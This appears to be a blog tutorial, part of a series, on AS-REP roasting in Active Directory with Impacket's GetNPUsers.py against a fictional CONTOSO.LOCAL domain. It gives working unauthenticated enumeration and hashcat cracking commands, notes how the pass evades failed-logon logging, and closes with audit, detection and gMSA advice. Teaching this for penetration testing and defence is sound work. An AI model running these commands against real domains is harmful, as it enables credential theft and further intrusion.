Impacket Deep Dive Part 3: AS-REP Roasting with GetNPUsers.py

Part 2 left off with GetADUsers.py showing CONTOSO\svc-legacy-scan carrying the DONT_REQ_PREAUTH bit in its userAccountControl value — a service account created in 2019, never touched since, with Kerberos pre-authentication switched off. This post is about exactly what that one flag gives away, and why it’s still one of the highest hit-rate techniques in a modern AD assessment despite being entirely preventable with a single checkbox.

What pre-authentication actually checks

A normal Kerberos logon (AS-REQ/AS-REP exchange) works like this: the client encrypts a timestamp with a key derived from the user’s password and sends it to the KDC as proof they know the password before the KDC replies with anything useful. The KDC decrypts the timestamp with its own copy of that key, confirms it’s recent (blocking simple replay), and only then issues a TGT. That timestamp check is “pre-authentication,” and it’s on by default for every account in a modern domain.

DONT_REQ_PREAUTH — the “Do not require Kerberos preauthentication” checkbox on the Account tab in ADUC — turns that check off for a specific account. The KDC will now issue an AS-REP to anyone who asks for a TGT for that username, no proof of password knowledge required, no logon attempt recorded as a failure. The catch, for the attacker, is that the AS-REP itself is partially encrypted with a key derived from the account’s actual password (or, more precisely, the account’s Kerberos long-term key). Request it, take it away, and crack it offline at whatever speed the hardware allows — no lockout policy in the world stops an offline crack.

The setting exists for legitimate reasons — historically, some non-Windows Kerberos implementations and specific SSO scenarios needed it — but on any account whose real purpose has nothing to do with cross-realm interoperability, it’s a pure liability with no upside.

Running it

GetNPUsers.py’s actual -h output, from the same v0.13.1 install used throughout this series:

usage: GetNPUsers.py [-h] [-request] [-outputfile OUTPUTFILE]
                     [-format {hashcat,john}] [-usersfile USERSFILE] [-ts]
                     [-debug] [-hashes LMHASH:NTHASH] [-no-pass] [-k]
                     [-aesKey hex key] [-dc-ip ip address] [-dc-host hostname]
                     target

Queries target domain for users with 'Do not require Kerberos
preauthentication' set and export their TGTs for cracking

The genuinely interesting part is that -no-pass mode doesn’t need any valid domain credential at all — just a username to try, or a list of them. Against a domain whose usernames follow a guessable convention (firstinitial.lastname, common enough to reconstruct from a company’s own LinkedIn presence or email format), this is unauthenticated in the fullest sense:

$ GetNPUsers.py CONTOSO.LOCAL/ -usersfile users.txt -no-pass -format hashcat -outputfile asrep.txt -dc-ip 10.10.30.10
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User krbtgt doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc-backup doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$svc-legacy-scan@CONTOSO.LOCAL:a1f3c9e0b7d24e118f...  (truncated)
[-] User j.reyes doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User a.oyelaran doesn't have UF_DONT_REQUIRE_PREAUTH set

users.txt here is exactly the account list GetADUsers.py produced back in Part 2 — this is the connective tissue between the two posts. One account, svc-legacy-scan, answers with a hash. Everyone else logs a clean, unremarkable “doesn’t have the flag set” message and — critically — generates no failed-logon event on the domain controller, because there was no logon attempt to fail. This entire enumeration pass is invisible to a defender watching Event ID 4625.

Cracking it

The -format hashcat output slots straight into hashcat mode 18200:

$ hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
...
$krb5asrep$23$svc-legacy-scan@CONTOSO.LOCAL:a1f3c9e0b7d24e118f...:Sc4nn3r2019!

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)

svc-legacy-scan’s password, Sc4nn3r2019!, is exactly the kind of password a service account gets assigned once at creation and never again — plausible-looking, technically meeting a complexity policy, and six years stale per GetADUsers.py’s PasswordLastSet column from Part 2. That’s now a valid domain credential, obtained without a single authentication attempt against the DC.

Why this matters more than it looks

svc-legacy-scan isn’t the interesting target because of what it can do — in CONTOSO.LOCAL it’s a low-privilege scanning account. It’s interesting because it’s now a valid, working set of domain credentials, which is the prerequisite for essentially everything in the rest of this series: it can be used to authenticate for further LDAP queries with more depth than an anonymous or guessed-password bind would allow, and if svc-legacy-scan turns out to be a local admin anywhere — worth checking with crackmapexec/netexec-style credential spraying, out of scope for this specific post but a natural next step — the chain continues immediately into Part 6’s remote execution tools.

-format john produces the equivalent for John the Ripper instead of hashcat, and -request (rather than -no-pass) runs the same technique using a valid low-privilege credential to pull the entire list of DONT_REQ_PREAUTH accounts from LDAP directly instead of guessing usernames — the authenticated version of this attack, faster and more complete once you already have a foothold like j.reyes.

Defensive notes

Audit for the flag, don’t wait to be roasted. This is a proactive check, not just a detection story: Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol (PowerShell, run from any domain-joined admin workstation) lists every account with DONT_REQ_PREAUTH set, domain-wide, in seconds. Run it on a schedule. There is essentially never a legitimate reason for a human or standard service account to have this flag set in a modern, Windows-only estate.

Detect the pattern, not just the flag. Event ID 4768 (A Kerberos authentication ticket (TGT) was requested) includes a Pre-Authentication Type field. A legitimate pre-authenticated logon shows type 2 (encrypted timestamp). An AS-REP roasting attempt against an account without the flag set still generates a 4768 with a Result Code indicating pre-auth required (or, for accounts that don’t exist, a 4771 pre-authentication failure) — so a burst of 4768/4771 events for a wide, unfamiliar set of usernames in a short window from a single source, even when none of them succeed, is the actual GetNPUsers.py -no-pass -usersfile signature. Microsoft Defender for Identity and most modern SIEM content ship this detection out of the box.

Rotate stale service account passwords on a real schedule. svc-legacy-scan’s six-year-old password is the actual root cause here, not the pre-auth flag — a strong, recently-rotated password behind DONT_REQ_PREAUTH still takes meaningfully longer to crack, buying detection time even if the flag itself never gets fixed. Neither excuses the other; fix both.

Prefer Group Managed Service Accounts (gMSA) for anything new. A gMSA’s password is a 240-byte random value rotated automatically by AD, stored nowhere a human ever types it, and effectively immune to offline cracking even if somehow exposed via this technique. svc-legacy-scan’s replacement, whenever this scanning job gets rebuilt, belongs here rather than as another static-password service account.

Next: Part 4, where svc-backup’s registered SPN — spotted in the same Part 2 output — gives up a crackable ticket through the mirror-image technique: Kerberoasting, which works even when pre-authentication is correctly enforced.